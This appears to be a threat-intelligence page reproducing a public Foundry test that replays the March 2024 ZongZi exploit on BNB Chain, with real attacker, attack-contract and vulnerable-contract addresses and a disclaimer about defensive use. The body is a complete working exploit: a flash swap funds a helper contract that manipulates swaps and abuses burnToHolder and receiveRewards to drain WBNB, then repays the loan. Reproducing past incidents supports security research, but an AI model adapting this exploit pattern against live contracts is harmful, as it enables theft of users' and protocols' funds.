Public reproduction file
src/test/2024-03/ZongZi_exp.sol
Public reproduction file for dataset entry ZongZi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$223K8// Attacker : https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a269// Attack Contract : https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a910// Vuln Contract : https://bscscan.com/address/0xb7a254237e05ccca0a756f75fb78ab2df222911b11// Attack txs : https://app.blocksec.com/explorer/tx/bsc/0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f13// @Analysis16interface IZZF is IERC20 {17 function burnToHolder(uint256 amount, address _invitation) external;19 function receiveRewards(20 address to21 ) external;22}24contract ContractTest is Test {25 IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));26 IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);27 Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);28 Uni_Pair_V2 private constant WBNB_ZONGZI = Uni_Pair_V2(0xD695C08a4c3B9FC646457aD6b0DC0A3b8f1219fe);29 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);30 address private constant attackContract = 0x0bd0D9BA4f52dB225B265c3Cffa7bc4a418D22A9;31 bytes32 private constant attackTx = hex"247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f";33 function setUp() public {34 vm.createSelectFork("bsc", attackTx);35 vm.label(address(WBNB), "WBNB");36 vm.label(address(ZongZi), "ZongZi");37 vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");38 vm.label(address(WBNB_ZONGZI), "WBNB_ZONGZI");39 vm.label(address(Router), "Router");40 }42 function testExploit() public {43 emit log_named_decimal_uint("Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), 18);45 uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));46 uint256 multiplier = uint256(vm.load(attackContract, bytes32(uint256(9))));48 uint256 amount1Out = (pairWBNBBalance * multiplier) / ((pairWBNBBalance * 100) / address(ZongZi).balance);50 BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));52 emit log_named_decimal_uint("Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), 18);53 }55 function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {56 Helper helper = new Helper();57 WBNB.transfer(address(helper), _amount1);58 helper.exploit();60 ZongZi.approve(address(Router), type(uint256).max);61 address[] memory path = new address[](2);62 path[0] = address(ZongZi);63 path[1] = address(WBNB);65 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(66 ZongZi.balanceOf(address(this)), 0, path, address(this), block.timestamp + 86_40067 );68 WBNB.transfer(address(BUSDT_WBNB), (_amount1 * 10_026) / 10_000);69 }70}72contract Helper {73 IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));74 IERC20 private constant ZongZi = IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);75 IZZF private constant ZZF = IZZF(0xB7a254237E05cccA0a756f75FB78Ab2Df222911b);76 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);78 function exploit() external {79 WBNB.approve(address(Router), type(uint256).max);80 ZongZi.approve(address(Router), type(uint256).max);81 uint256 balanceBeforeWBNB = WBNB.balanceOf(address(this));83 makeSwap(1e17, address(WBNB), address(ZongZi));84 makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));86 uint256 amountIn = balanceBeforeWBNB - 1e17;87 makeSwap(amountIn, address(WBNB), address(ZongZi));89 uint256 amountOut = address(ZongZi).balance - 1e9;90 address[] memory path = new address[](2);91 path[0] = address(ZongZi);92 path[1] = address(WBNB);93 uint256[] memory amounts = Router.getAmountsIn(amountOut, path);95 ZZF.burnToHolder(amounts[0], msg.sender);96 ZZF.receiveRewards(address(this));98 makeSwap(ZongZi.balanceOf(address(this)), address(ZongZi), address(WBNB));100 WBNB.deposit{value: address(this).balance}();101 WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));102 }104 function makeSwap(uint256 amountIn, address tokenA, address tokenB) private {105 address[] memory path = new address[](2);106 path[0] = tokenA;107 path[1] = tokenB;109 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(110 amountIn, 0, path, address(this), block.timestamp + 86_400111 );112 }114 receive() external payable {}115}Analysis
Dataset entry
Public Foundry test for “ZongZi” (2024-03-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
- src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
- src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
- src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
- src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
- src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
- src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
- src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
- src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
- src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
- src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
- src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
- src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
- src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
- src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2c42824ef89d6efa7847d3997266b62599560a26
- Attack Contract
0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9
- Attack Tx
0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f
File record
- Name
- ZongZi
- Path
- src/test/2024-03/ZongZi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 670f269f958977eb1d454efbf23ebdc58c094e78
- Language
- Solidity
- Size
- 116 lines
- Date
- 2024-03-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-03/ZongZi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 670f269f958977eb1d454efbf23ebdc58c094e78, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.